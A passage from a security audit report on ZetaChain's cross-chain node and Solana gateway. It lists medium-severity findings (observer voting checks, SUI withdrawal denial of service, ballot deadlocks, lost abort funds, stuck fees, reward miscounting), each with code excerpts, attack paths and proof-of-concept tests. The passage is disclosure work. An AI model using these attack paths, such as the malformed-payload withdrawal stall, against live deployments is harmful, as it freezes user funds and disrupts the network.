        solana.Meta(signer.relayerKey.PublicKey()).WRITE().SIGNER(),
        solana.Meta(signer.pda).WRITE(),
-       solana.Meta(msg.To()).WRITE(),
-       solana.Meta(destinationProgramPda),
+       solana.Meta(msg.To()),
+       solana.Meta(destinationProgramPda).WRITE(),
    }
    allAccounts := append(predefinedAccounts, msg.RemainingAccounts()...)

```

Issue M-10: removed observers are still able to vote

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/144>

Found by

OxAlix2, BrothersInCode

Description

Among the various voting entry points, VoteTSS stands out by replacing the `IsNonTombstonedObserver` check and instead relying on the following validation:

```
// Verifies that the signer is authorized by ensuring they have a node account.
_, found := k.GetNodeAccount(ctx, msg.Creator)
if !found {
    return nil, errorsmod.Wrapf(
        sdkerrors.ErrorInvalidSigner,
        "%s, signer %s does not have a node account set", voteTSSid, msg.Creator)
}
```

`GetNodeAccount` simply checks for the `nodeAccount` to be in store:

```
func (k Keeper) GetNodeAccount(ctx sdk.Context, index string) (val
↳ types.NodeAccount, found bool) {
    store := prefix.NewStore(ctx.KVStore(k.storeKey),
↳ types.KeyPrefix(types.NodeAccountKey))

    b := store.Get(types.KeyPrefix(index))
    if b == nil {
        return val, false
    }

    k.cdc.MustUnmarshal(b, &val)
    return val, true
}
```

This ensures that only observers with valid node accounts can participate.

Currently, the **only** way a node account can be removed is through the `updateObserver` function which calls `removeNodeAccount`:

```
func (k msgServer) UpdateObserver(
    goCtx context.Context,
    msg *types.MsgUpdateObserver,
```

```

) (*types.MsgUpdateObserverResponse, error) {
    // ...
    // Remove the old node account to maintain consistency between observers and
    ↪ node accounts
    k.RemoveNodeAccount(ctx, msg.OldObserverAddress)
    // ...
}

```

It's important to note that `UpdateObserver` is invoked to replace an old observer when they are tombstoned. Therefore, the presence of the node account check inside `VoteTSS` effectively serves as an implicit tombstone check—since tombstoned validators have their node accounts removed.

There is a flaw to this however.

When an observer is removed from the observer set, `UpdateObserver` will always revert due to the following check:

```

// We do not use IsNotTombstonedObserver here because we want to allow tombstoned
↪ observers to be updated
if !k.IsAddressPartOfObserverSet(ctx, msg.OldObserverAddress) {
    return nil, errorsmod.Wrapf(
        types.ErrNotObserver,
        "Observer address is not authorized : %s", msg.OldObserverAddress)
}

```

This prevents the `updateObserver` function from executing, which in turn means the observer's node account cannot be removed.

Observers can be removed from the observer set through various hooks—for example, in `CheckAndCleanObserver`, in case the observer does not meet the minimum required threshold it will be removed from the observer set:

```

tokens := validator.TokensFromShares(delegation.Shares)
if tokens.LT(minDelegation) {
    k.RemoveObserverFromSet(ctx, accAddress)
}

```

If this logic is triggered for an observer with a valid node account, they are removed from the observer set. However, since the `VoteTSS` function only checks for the presence of a node account—and that account can no longer be removed via `updateObserver`—the validator remains able to vote, even though they are no longer an authorized observer.

Note that all other voting functions such as `VoteBlame` perform the `IsNotTombstonedObserver` check which correctly verifies whether the observer is still part of the observer set and therefore would have handled this case appropriately.

```
func (k Keeper) IsNonTombstonedObserver(ctx sdk.Context, address string) bool {
    isPresentInMapper := k.IsAddressPartOfObserverSet(ctx, address)
    if !isPresentInMapper {
        return false
    }
    //..code
}
```

This contrasts with `VoteTSS` which does not perform this check at all.

Impact

Ultimately, if an observer is removed from the observer set they can perform `VoteTSS`.

POC

- Bob, an active observer, currently holds a valid node account.
- However, Bob fails to meet the minimum staking requirement and is subsequently removed from the observer set.
- Despite this, Bob's node account remains intact, allowing him to continue submitting `VoteTSS` votes—even though he is no longer a valid observer.

Recommendation

Ensure that removed/tombstoned validators are unable to perform votes.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
<https://github.com/zeta-chain/node/pull/3917>

gjaldon

The issue has been fixed by replacing all instances of `IsNonTombstonedObserver()` with `CheckObserverCanVote()`, which also checks if a validator is jailed.

Issue M-11: DoSed SUI node on withdrawals to SUI due to lack of payload validation

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/177>

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

0x73696d616f

Summary

SUI withdrawals do not handle incorrect payloads, only return with an error:

```
func (s *Signer) buildWithdrawAndCallTx(
    ctx context.Context,
    params *cctypes.OutboundParams,
    coinType,
    gasBudget,
    withdrawCapID,
    payload string,
) (models.TxnMetaData, error) {
    // decode and parse the payload to object the on_call arguments
    payloadBytes, err := hex.DecodeString(payload)
    if err != nil {
        return models.TxnMetaData{}, errors.Wrap(err, "unable to decode payload hex
↪ bytes")
    }

    var cp sui.CallPayload
    if err := cp.UnpackABI(payloadBytes); err != nil {
        return models.TxnMetaData{}, errors.Wrap(err, "unable to parse
↪ withdrawAndCall payload")
    }
    ...
}
```

When this happens, it will get stuck trying to schedule this cctx over and over again, without being able to process further txs as the nonce will be stale. Thus, withdrawals will be stuck and there is no way to recover. In order to trigger this, an attacker simply has to send to the gateway on ZEVM, `r.GatewayZEVM.WithdrawAndCall0()`, an incorrect payload.

Root Cause

In `node/zetaclient/chains/sui/signer/signer_tx.go`, an incorrect payload is not handled and all txs will get stuck. It returns an error without further processing.
https://github.com/sherlock-audit/2025-04-zetachain-cross-chain/blob/main/node/zetaclient/chains/sui/signer/signer_tx.go#L140-L148

Internal Pre-conditions

None.

External Pre-conditions

None.

Attack Path

1. Attacker calls `gatewayZEVm::withdrawAndCall()` with a message with incorrect payload to the SUI network.

Impact

DoSed withdrawals on SUI.

PoC

Change the `sui.go::SuiWithdrawAndCallSUI()` function to send an incorrect payload.

```
func (r *E2ERunner) SuiWithdrawAndCallSUI(
    receiver string,
    amount *big.Int,
    payload sui.CallPayload,
) *ethetypes.Transaction {
    receiverBytes, err := hex.DecodeString(receiver[2:])
    require.NoError(r, err, "receiver: "+receiver[2:])

    // ACT
    //payloadBytes, err := payload.PackABI()
    //require.NoError(r, err)

    var fakePayload []byte = []byte("::::")

    tx, err := r.GatewayZEVm.WithdrawAndCall0(
        r.ZEVMAuth,
        receiverBytes,
```



```

        amount,
        r.SUIZRC20Addr,
        fakePayload,
        gatewayzevm.CallOptions{
            IsArbitraryCall: false,
            GasLimit:         big.NewInt(20000),
        },
        gatewayzevm.RevertOptions{OnRevertGasLimit: big.NewInt(0)},
    )
    require.NoError(r, err)

    return tx
}

```

Uncomment the withdraw and call sui test in `node/cmd/zetae2e/local/local.go`.

Add verbose to the makefile:

```

start-sui-test: e2e-images
    @echo "--> Starting sui test"
    export E2E_ARGS="${E2E_ARGS} --skip-regular --test-sui --verbose" && \
    cd contrib/localnet/ && $(DOCKER_COMPOSE) --profile sui up -d

```

Run `make start-sui-test` and watch the `zetaclient0` and `zetaclient1` being stuck on this withdrawal tx.

Mitigation

Revert the tx back or increase the nonce.

Issue M-12: SUI receiver lacks validation

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/178>

Found by

0x73696d616f, BrothersInCode, Laksmana

Summary

The SUI receiver is not validated in `node/pkg/chains/chain.go`, only encoded, leading to the message being stuck when it tries to withdraw in the zetaclient on the SUI chain.

More specifically, an attacker may send a receiver that is incorrectly encoded, such as using 33 bytes instead of 32, and it will keep trying to send the withdrawal in the Zetaclient but failing.

As the nonce is not increased because it errors, it will make all withdrawals stuck. Nodes may be slashed and not get rewards.

Root Cause

In `node/pkg/chains/chain.go:95`, `"0x" + hex.EncodeToString(b)` lacks validation.

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain/blob/main/node/pkg/chains/chain.go#L95>

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

1. Attacker calls `GatewayZEVm::withdraw()` with an incorrect receiver (wrong length, for example).
2. Zetaclient on SUI gets stuck on this withdrawal as `node/zetaclient/chains/sui/signer/signer_tx.go::buildWithdrawTx()` errors, returning an error of "unable to create withdrawal tx builder".

Impact

DoSed withdrawals on SUI and loss of rewards for Zetaclient nodes.

PoC

In `node/e2e/e2etests/test_sui_withdraw.go::TestSuiWithdraw()`, replace `"signer.Address()"` with some random string that is not a correct SUI address (for example, add 1 byte to `signer.address()`). Then, run `make start-sui-test` in the node folder. Observe the logs in the orchestrator and zetaclients, they will be stuck.

Mitigation

Cancel the tx in case of receiver error or revert back to Zetachain to refund.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
<https://github.com/zeta-chain/node/pull/3945>

gjaldon

The receiver address is now properly validated and any invalid receiver will trigger the cancel transaction broadcasting.

Issue M-13: Removing an observer doesn't update an active ballot's voter list, leading to deadlocks

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/190>

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

0xAlix2, BrothersInCode

Summary

When a ballot is initialized for voting, it takes a snapshot of the active observers and adds them to the voter list, along with recording the chain threshold, meaning X% of the voter list must vote to finalize the ballot.

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain/blob/main/node/x/observer/keeper/voting.go#L62-L92>:

```
ballot = types.Ballot{
    Index:            "",
    BallotIdentifier: index,
    VoterList:        observerSet.ObserverList,
    Votes:            types.CreateVotes(len(observerSet.ObserverList)),
    ObservationType:  observationType,
    BallotThreshold:  cp.BallotThreshold,
    BallotStatus:     types.BallotStatus_BallotInProgress,
    BallotCreationHeight: ctx.BlockHeight(),
}
```

Any observers who are not included in the above voter list are not allowed to vote on the ballot, as the vote will be rejected in `AddVote`.

Later, when observers are removed due to slashing or unbonding (via hooks in `node/x/observer/keeper/hooks.go`), they are only removed from the observer set but **not** from the voter lists of active ballots.

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain/blob/main/node/x/observer/keeper/hooks.go#L104-L106>:

```
func (k Keeper) CleanSlashedValidator(
    ctx context.Context,
    valAddress sdk.ValAddress,
    fraction sdkmath.LegacyDec,
) error {
    // ... snip ...
```

```

    if resultingTokens.LT(mindelegation) {
        k.RemoveObserverFromSet(sdkCtx, accAddress.String())
    }
    return nil
}

```

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain/blob/main/node/x/observer/keeper/hooks.go#L117>:

```

func (k Keeper) CleanObservers(ctx context.Context, valAddress sdk.ValAddress)
↳ error {
    // ... snip ...
    k.RemoveObserverFromSet(sdkCtx, accAddress.String())
    return nil
}

```

If enough observers are removed, the number of available voters might drop below the threshold needed to finalize the ballot, making it impossible to ever reach the required vote count, effectively deadlocking the active ballots.

NB:

This issue also exists for TSS votes: a TSS ballot expects 100% of the node accounts to vote.

If any node account is updated after the ballot has been created, the ballot cannot be finalized anymore, similarly getting stuck forever.

Root Cause

When an observer is removed from the observer set during an active ballot, the ballot's voter list is not updated accordingly. Since ballots expect a threshold of successful votes based on the original voter set size, removing observers (due to slashing or undelegation) can make it mathematically impossible to meet the threshold, causing the ballot to remain stuck and never finalize.

Internal Pre-conditions

- A ballot is in progress (BallotStatus = BallotInProgress).
- One or more voters in the ballot are later removed from the observer set (e.g., delegation drops below minimum).
- Ballot threshold is based on the original number of voters.

External Pre-conditions

- Delegators or slashing mechanisms cause an observer's self-delegation to fall below the minimum delegation threshold.

- The observer set gets updated, but ballots referencing old observers are not updated.

Attack Path

1. A ballot is created with an initial set of N observers.
2. Some observers lose their self-delegation or are slashed and removed from the observer set.
3. Because the ballot's `VoterList` is static and not updated, votes from the removed observers are still required.
4. Remaining active observers can never reach the ballot's quorum.
5. The ballot remains stuck indefinitely in `BallotInProgress`.

Impact

Ballots can get stuck forever, causing operational deadlocks, and all protocols depending on successful ballot finalization (e.g., blame handling, inbound/outbound tx validation) could freeze.

PoC

Add the following in `node/x/observer/keeper/voting_test.go`:

```
func TestRemovedObserverDeadlock(t *testing.T) {
    k, ctx, sdkk, _ := keepertest.ObserverKeeper(t)

    // Create 5 observers
    r := rand.New(rand.NewSource(10))
    observers := make([]stakingtypes.Validator, 5)
    accAddrs := make([]string, 5)

    for i := range 5 {
        validator := sample.Validator(t, r)
        validator.DelegatorShares = sdkmath.LegacyNewDec(1)
        validator.Tokens = sdkmath.NewInt(1)
        sdkk.StakingKeeper.SetValidator(ctx, validator)

        accAddr, err :=
    ↪ types.GetAccAddressFromOperatorAddress(validator.OperatorAddress)
        require.NoError(t, err)

        minDelegation, err := types.GetMinObserverDelegationDec()
        require.NoError(t, err)
    }
```

```

        sdkk.StakingKeeper.SetDelegation(ctx, stakingtypes.Delegation{
            DelegatorAddress: accAddr.String(),
            ValidatorAddress: validator.GetOperator(),
            Shares:           minDelegation,
        })

        observers[i] = validator
        accAddrs[i] = accAddr.String()
    }

    // Set all 5 as observers
    k.SetObserverSet(ctx, types.ObserverSet{ObserverList: accAddrs})

    threshold, err := sdkmath.LegacyNewDecFromStr("0.75")
    require.NoError(t, err)

    // Set ChainParams
    chainID := getValidEthChainIDWithIndex(t, 0)
    k.SetChainParamsList(ctx, types.ChainParamsList{
        ChainParams: []*types.ChainParams{
            {
                ChainId:          chainID,
                IsSupported:      true,
                BallotThreshold: threshold,
            },
        },
    })
    index := sample.ZetaIndex(t)

    msgServer := keeper.NewMsgServerImpl(*k)

    // Observer 0 initiates a vote blame
    msg := &types.MsgVoteBlame{
        Creator:  accAddrs[0],
        ChainId:  chainID,
        BlameInfo: types.Blame{Index: index},
    }
    _, err = msgServer.VoteBlame(ctx, msg)
    require.NoError(t, err)

    // Simulate observer1 losing delegation - set delegation to 0
    sdkk.StakingKeeper.SetDelegation(ctx, stakingtypes.Delegation{
        DelegatorAddress: accAddrs[1],
        ValidatorAddress: observers[1].GetOperator(),
        Shares:           sdkmath.LegacyZeroDec(),
    })
    // Remove observer1 from ObserverSet
    err = k.CheckObserverSelfDelegation(ctx, accAddrs[1])
    require.NoError(t, err)

```

```

// Simulate observer2 losing delegation - set delegation to 0
sdkk.StakingKeeper.SetDelegation(ctx, stakingtypes.Delegation{
    DelegatorAddress: accAddrs[2],
    ValidatorAddress: observers[2].GetOperator(),
    Shares:           sdkmath.LegacyZeroDec(),
})
// Remove observer2 from ObserverSet
err = k.CheckObserverSelfDelegation(ctx, accAddrs[2])
require.NoError(t, err)

// Observer 3 and 4 can't vote blame
_, err = msgServer.VoteBlame(ctx, &types.MsgVoteBlame{
    Creator:    accAddrs[3], // active observers
    ChainId:    chainID,
    BlameInfo:  types.Blame{Index: index},
})
require.NoError(t, err)

_, err = msgServer.VoteBlame(ctx, &types.MsgVoteBlame{
    Creator:    accAddrs[4], // active observers
    ChainId:    chainID,
    BlameInfo:  types.Blame{Index: index},
})
require.NoError(t, err)

// Observers 1 and 2 can't vote blame
_, err = msgServer.VoteBlame(ctx, &types.MsgVoteBlame{
    Creator:    accAddrs[1], // non-active observers
    ChainId:    chainID,
    BlameInfo:  types.Blame{Index: index},
})
require.Error(t, err)

_, err = msgServer.VoteBlame(ctx, &types.MsgVoteBlame{
    Creator:    accAddrs[2], // non-active observers
    ChainId:    chainID,
    BlameInfo:  types.Blame{Index: index},
})
require.Error(t, err)

// At this point the success percentage is 3/5 = 0.6
// While the threshold is 0.75, so the threshold will never be reached

ballot, found := k.GetBallot(ctx, msg.Digest())
require.True(t, found)
require.Equal(t, types.BallotStatus_BallotInProgress, ballot.BallotStatus)
}

```

This PoC shows that after removing two observers mid-ballot, the threshold can no

longer be reached, and the ballot remains stuck in `BallotInProgress`.

Mitigation

When removing an observer from the observer set (e.g., during self-delegation checks or slashing events), the system should update all active ballots to also remove the observer from their `VoterList`.

Issue M-14: Abort processing after call originating from Solana will cause loss of funds

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/221>

Found by

Al-Qa-qa, Goran

Summary

Solana implementation of the gateway assumes abort address is a Solana account, when in reality abort is always processed on ZetaChain (EVM chain). That means user can only provide Solana account for the abort address. When node processes abort it will convert provided value into a 20-byte EVM address and send the funds there. Effectively funds are then permanently lost since user (or no-one else) has no private key for the resulting EVM address.

Root Cause

ZetaChain introduced `onAbort`, a mechanism to prevent funds getting stuck after failed cross-chain transactions. Abort mechanism is a final fail-safe, in which protocol will move funds to a user-defined abort address in a case that both cross-chain action and the revert processing fail.

In case call originates from Connected chain flow is: `Connected::depositAndCall` -> `ZetaChain::onCall` fails -> `Connected::onRevert` fails (ie. out-of-gas) -> `ZetaChain::onAbort`

In case call originates from ZetaChain flow is: `ZetaChain::depositAndCall` -> `Connected::onCall` fails -> `ZetaChain::onRevert` fails (ie. out-of-gas) -> `ZetaChain::onAbort`

(Reference [here](#))

Important to notice - `onAbort` is always processed on ZetaChain. So the `onAbort` target needs to be EVM address.

Let's look at one of Solana gateway's entrypoints, ie. `deposit_and_call`:

```
pub fn deposit_and_call(  
    ctx: Context<Deposit>,  
    amount: u64,  
    receiver: [u8; 20],  
    message: Vec<u8>,  
    revert_options: Option<RevertOptions>,  
)
```

```

) -> Result<> {
    instructions::deposit::handle_sol_with_call(
        ctx,
        amount,
        receiver,
        message,
        revert_options,
        DEPOSIT_FEE,
    )
}

```

The last parameter is `revert_options`. The structure is defined like this:

```

pub struct RevertOptions {
    pub revert_address: Pubkey,
    pub abort_address: Pubkey,
    pub call_on_revert: bool,
    pub revert_message: Vec<u8>,
    pub on_revert_gas_limit: u64,
}

```

The main thing to notice here is that `abort_address` is defined as `Pubkey` (a Solana account) instead of `[u8; 20]` (a 20-bytes EVM address). So even though abort is always processed on ZetaChain, user can only provide Solana account as an abort address. As a result, protocol will send aborted funds to the wrong EVM address (the one resulting from the implicit conversion from the Solana account format), where they are permanently lost.

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

-

Impact

Instead of securing the funds when abort is processed, funds get permanently lost.

PoC

Bug is demonstrated by modifying the existing e2e test
SolanaDepositAndCallRevertWithDust:

```
func TestSolanaDepositAndCallRevertWithDust(r *runner.E2ERunner, args []string) {
    require.Len(r, args, 0)

    // deposit the rent exempt amount which will result in a dust amount (after fee
    ↪ deduction) in the revert outbound
    depositAmount := big.NewInt(constant.SolanaWalletRentExempt)

+   // @audit convert random EVM address to Solana format and use it as the abort
    ↪ address
+   evmAddress := common.HexToAddress("0x0397eE691dBf0f390DDeB7Edd328594e241CA9CB")
+   var abortPubkey solana.PublicKey
+   copy(abortPubkey[:20], evmAddress[:])

    // ACT
    // execute the deposit and call transaction
    nonExistReceiver := sample.EthAddress()
    data := []byte("dust lamports should abort cctx")
+   // @audit add the abort address to the RevertOptions
-   sig := r.SOLDepositAndCall(nil, nonExistReceiver, depositAmount, data, nil)
+   sig := r.SOLDepositAndCall(nil, nonExistReceiver, depositAmount, data,
    ↪ &solanacontracts.RevertOptions{
+       AbortAddress: abortPubkey,
+   })

    // ASSERT
    // Now we want to make sure cctx is aborted.
    cctx := utils.WaitCctxAbortedByInboundHash(r.Ctx, r, sig.String(), r.CctxClient)
    require.True(r, cctx.GetCurrentOutboundParam().Amount.Uint64() <
    ↪ constant.SolanaWalletRentExempt)
    require.True(
        r,
        strings.Contains(cctx.CctxStatus.ErrorMessageRevert,
    ↪ crosschaintypes.ErrInvalidWithdrawalAmount.Error()),
    )

+   // @audit check if evmAddress got the aborted funds
+   balance, err := r.SOLZRC20.BalanceOf(&bind.CallOpts{}, evmAddress)
+   require.NoError(r, err)
+   require.Equal(r, balance, depositAmount)
}
```

Now let's run the modified test in the localnet:

```
make solana
```


Mitigation

Use EVM compatible format for specifying the abort address in the Solana gateway

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:

<https://github.com/zeta-chain/protocol-contracts-solana/pull/110>

gjaldon

The abort address format has been changed to a 20-element u8 array, which fixes the issue.

Issue M-15: The withdraw method in the Solana node doesn't increment the nonce when the withdrawal transaction fails

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/275>

Found by

Laksmana

Summary

The missing increment nonce in the withdraw method can cause the nonce to get stuck when the withdraw transaction fails.

Root Cause

In the `signer.go` file, both the `prepareWithdrawTx` and `prepareWithdrawSPLTx` functions do not include a nonce increment instruction.

```
func (signer *Signer) prepareWithdrawTx(
    ctx context.Context,
    cctx *types.CrossChainTx,
    height uint64,
    logger zerolog.Logger,
) (outboundGetter, error) {
    params := cctx.GetCurrentOutboundParam()
    // compliance check
    cancelTx := compliance.IsCCTXRestricted(cctx)
    if cancelTx {
        compliance.PrintComplianceLog(
            logger,
            signer.Logger().Compliance,
            true,
            signer.Chain().ChainId,
            cctx.Index,
            cctx.InboundParams.Sender,
            params.Receiver,
            "SOL",
        )
    }

    // sign gateway withdraw message by TSS
    msg, err := signer.createAndSignMsgWithdraw(ctx, params, height, cancelTx)
```



```

    if err != nil {
        return nil, errors.Wrap(err, "createAndSignMsgWithdraw error")
    }

    return func() (*Outbound, error) {
        // sign the withdraw transaction by relayer key
        inst, err := signer.createWithdrawInstruction(*msg)
        if err != nil {
            return nil, errors.Wrap(err, "error creating withdraw instruction")
        }

        tx, err := signer.signTx(ctx, inst, 0)
        if err != nil {
            return nil, errors.Wrap(err, "error signing withdraw instruction")
        }
        return &Outbound{Tx: tx}, nil
    }, nil
}

func (signer *Signer) prepareWithdrawSPLTx(
    ctx context.Context,
    cctx *types.CrossChainTx,
    height uint64,
    logger zerolog.Logger,
) (outboundGetter, error) {
    params := cctx.GetCurrentOutboundParam()
    // compliance check
    cancelTx := compliance.IsCCTXRestricted(cctx)
    if cancelTx {
        compliance.PrintComplianceLog(
            logger,
            signer.Logger().Compliance,
            true,
            signer.Chain().ChainId,
            cctx.Index,
            cctx.InboundParams.Sender,
            params.Receiver,
            "SPL",
        )
    }

    // get mint details to get decimals
    mint, err := signer.decodeMintAccountDetails(ctx, cctx.InboundParams.Asset)
    if err != nil {
        return nil, errors.Wrap(err, "decodeMintAccountDetails error")
    }

    // sign gateway withdraw spl message by TSS
    msg, err := signer.createAndSignMsgWithdrawSPL(
        ctx,

```

```

        params,
        height,
        cctx.InboundParams.Asset,
        mint.Decimals,
        cancelTx,
    )
    if err != nil {
        return nil, errors.Wrap(err, "createAndSignMsgWithdrawSPL error")
    }

    return func() (*Outbound, error) {
        // sign the withdraw transaction by relayer key
        inst, err := signer.createWithdrawSPLInstruction(*msg)
        if err != nil {
            return nil, errors.Wrap(err, "error creating withdraw SPL instruction")
        }

        tx, err := signer.signTx(ctx, inst, 0)
        if err != nil {
            return nil, errors.Wrap(err, "error signing withdraw SPL instruction")
        }

        return &Outbound{Tx: tx}, nil
    }, nil
}

```

As a result, when a withdrawal transaction fails, the nonce in the Solana program remains unchanged.

Internal Pre-conditions

-

External Pre-conditions

The withdraw method transaction on Solana failed.

Attack Path

-

Impact

When a withdrawal transaction on Solana fails, the nonce will remain unchanged.

PoC

-

Mitigation

Ensure withdraw method on node include a increment nonce

Issue M-16: Protocol fee is stuck in the crosschain module

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/280>

Found by

Audinarey, Flashloan44

Summary

When `PayGasInZetaAndUpdateCctx()` is called, the Zeta amount is swapped for `gasZRC20` and the protocol fees are added to this amount to determine the amount of Zeta tokens to mint to the crosschain module. However after the swap the protocol fees are left in the crosschain module.

Root Cause

As shown below, the `feeInZeta` is the sum of the protocol fees and the amount of zeta needed for the swap to `gasZRC20` which in turn is burned on L428 below,

The `feeInZeta` is minted on L399 to cover swapping and protocol fees, however after the swap, the protocol fee is left in the crosschain module and there is no way to retrieve it as there is no function to do this causing the fees accrued over time to be stuck in the module.

The only withdrawal that is implemented is `WithdrawFromGasStabilityPool()`

```
File: node/x/crosschain/keeper/gas_payment.go
317: func (k Keeper) PayGasInZetaAndUpdateCctx(
318:     ctx sdk.Context,
319:     chainID int64,
320:     cctx *types.CrossChainTx,
321:     zetaBurnt sdkmath.Uint,
322:     noEthereumTxEvent bool,
323: ) error {

////SNIP
374:     // get the gas fee in Zeta using system uniswapv2 pool wzeta/gasZRC20 and
    ↪ adding the protocol fee
375:     outTxGasFeeInZeta, err :=
    ↪ k.fungibleKeeper.QueryUniswapV2RouterGetZetaAmountsIn(ctx,
    ↪ outTxGasFee.BigInt(), gasZRC20)
376:     if err != nil {
```

```

377:         return cosmoserrors.Wrap(err, "PayGasInZetaAndUpdateCctx: unable to
↳ QueryUniswapV2RouterGetZetaAmountsIn")
378:     }
379: @> feeInZeta :=
↳ types.GetProtocolFee().Add(sdkmath.NewUintFromBigInt(outTxGasFeeInZeta))

//////SNIP

398:     {
399:     @> coins := sdk.NewCoins(sdk.NewCoin(config.BaseDenom,
↳ sdkmath.NewIntFromBigInt(feeInZeta.BigInt())) // amount iof zeta actually
↳ needed for this tx
400:         err := k.bankKeeper.MintCoins(ctx, types.ModuleName, coins)
401:         if err != nil {
402:             return cosmoserrors.Wrap(err, "PayGasInZetaAndUpdateCctx: unable to
↳ mint coins")
403:         }
404:
405:     @> amounts, err :=
↳ k.fungibleKeeper.CallUniswapV2RouterSwapExactETHForToken(
406:         ctx,
407:         types.ModuleAddressEVM,
408:         types.ModuleAddressEVM,
409:         outTxGasFeeInZeta,
410:         gasZRC20,
411:         noEthereumTxEvent,
412:     )
413:     if err != nil {
414:         return cosmoserrors.Wrap(
415:             err,
416:             "PayGasInZetaAndUpdateCctx: unable to
↳ CallUniswapv2RouterSwapExactETHForToken",
417:         )
418:     }
419:
420:     ctx.Logger().Info("gas fee", "outTxGasFee", outTxGasFee,
↳ "outTxGasFeeInZeta", outTxGasFeeInZeta)
421:     ctx.Logger().Info("CallUniswapv2RouterSwapExactETHForToken",
422:         "zetaAmountIn", amounts[0],
423:         "zrc20AmountOut", amounts[1],
424:     )
425:
426:     // FIXME: investigate small mismatches between amounts[1] and
↳ outTxGasFee
427:     // https://github.com/zeta-chain/node/issues/1303
428:     @> err = k.fungibleKeeper.CallZRC20Burn(ctx, types.ModuleAddressEVM,
↳ gasZRC20, amounts[1], noEthereumTxEvent)

```

As shown below, the protocol fee is 2e18

```
File: node/x/crosschain/types/keys.go
26: @> ProtocolFee = 2000000000000000000

///SNIP
32:
33: func GetProtocolFee() math.Uint {
34:     return math.NewUint(ProtocolFee)
35: }
```

https://github.com/sherlock-audit/2025-04-zetachain-cross-chain/blob/main/node/x/crosschain/keeper/gas_payment.go#L379

https://github.com/sherlock-audit/2025-04-zetachain-cross-chain/blob/main/node/x/crosschain/keeper/gas_payment.go#L399

Internal Pre-conditions

NIL

External Pre-conditions

NIL

Attack Path

This does not need an attack path as it is a logic flaw explained in the root cause section

Impact

This leads to funds getting stuck in the module leading to a loss for the protocol

PoC

No response

Mitigation

Consider implementing a function for the protocol fees to be retrieved from the `crosschain` module or better still transfer it to the protocol address in the execution flow still

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
<https://github.com/zeta-chain/node/pull/3734>

Issue M-17: Observer rewards are less than expected due to not properly accounting for negative rewards

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/309>

Found by

berndartmueller

Summary

Observers receive slightly fewer rewards than they should due to not correctly accounting for negative rewards in the `BuildRewardsDistribution()` function.

Root Cause

In `BuildRewardsDistribution()`^{#124}, if an observer votes against the majority vote, it decrements the reward for that observer. It can even become negative, representing a penalty.

However, the `totalRewardUnits` is not decremented in this case. This means that the total rewards are calculated incorrectly, as it does not account for the negative rewards accumulated from previous ballots.

```
094: // BuildRewardsDistribution builds the rewards distribution map for the ballot
095: // It returns the total rewards units which account for the observer block
    ↪ rewards
096: func (m Ballot) BuildRewardsDistribution(rewardsMap map[string]int64) int64 {
...   // [...]
117:
118:     for _, address := range m.VoterList {
119:         vote := m.Votes[m.GetVoterIndex(address)]
120:         if vote == majorityVote {
121:             rewardsMap[address]++
122:             totalRewardUnits++
123:         } else {
124:             rewardsMap[address]--
125:         }
126:     }
```

As a result, `totalRewardUnits` will be larger than the actual votes that will be rewarded. Thus, the rewardPerUnit will be smaller than it should be. This means that observers will receive fewer rewards.

Internal Pre-conditions

- Multiple matured ballots per block height
- Some observers who cast the opposite vote to the majority vote, which results in a negative reward for them

External Pre-conditions

N/A

Attack Path

N/A

Impact

Observers receive slightly fewer rewards than they should.

PoC

Add the following test to the end of the file `ballot_test.go`:

```
// This test is for the following scenario:
// Two ballots are voted on on the same block height. 4 voters/observers
// Ballot 1: Successful. All voters voted for success.
// Ballot 2: Successful. 3 voters voted for success, 1 voter voted for failure.
func Test_BuildRewardsDistribution_MultipleBallots(t *testing.T) {
    ballot1 := Ballot{
        VoterList: []string{"Observer1", "Observer2", "Observer3", "Observer4"},
        Votes: []VoteType{
            VoteType_SuccessObservation,
            VoteType_SuccessObservation,
            VoteType_SuccessObservation,
            VoteType_SuccessObservation,
        },
        BallotStatus: BallotStatus_BallotFinalized_SuccessObservation,
    }
    ballot2 := Ballot{
        VoterList: []string{"Observer1", "Observer2", "Observer3", "Observer4"},
        Votes: []VoteType{
            VoteType_SuccessObservation,
            VoteType_SuccessObservation,
            VoteType_SuccessObservation,
            VoteType_FailureObservation,
        },
        BallotStatus: BallotStatus_BallotFinalized_SuccessObservation,
```

```

    }

    var (
        rewardsDistributeMap = map[string]int64{}
        totalRewardsUnits    = int64(0)
    )

    totalRewardsUnits = ballot1.BuildRewardsDistribution(rewardsDistributeMap)
    totalRewardsUnits += ballot2.BuildRewardsDistribution(rewardsDistributeMap)

    require.Equal(t, rewardsDistributeMap, map[string]int64{
        "Observer1": 2,
        "Observer2": 2,
        "Observer3": 2,
        "Observer4": 0,
    })

    // sum of votes that will be rewarded
    sum := int64(0)
    for _, v := range rewardsDistributeMap {
        sum += v
    }

    require.Equal(t, sum, totalRewardsUnits) // @audit-info Fails. Expected 6, got 7
}

```

Run the test with the following command:

```

go test -timeout 30s -run ^Test_BuildRewardsDistribution_MultipleBallots$
↪ github.com/zeta-chain/node/x/observer/types

```

It will fail with the following output:

```

Error:          Not equal:
                expected: 6
                actual  : 7
Test:          Test_BuildRewardsDistribution_MultipleBallots

```

The test shows that across those two ballots, 6 successful votes were cast, but the total rewards were calculated as 7. This leads to a smaller `rewardPerUnit` and thus a smaller reward for each observer.

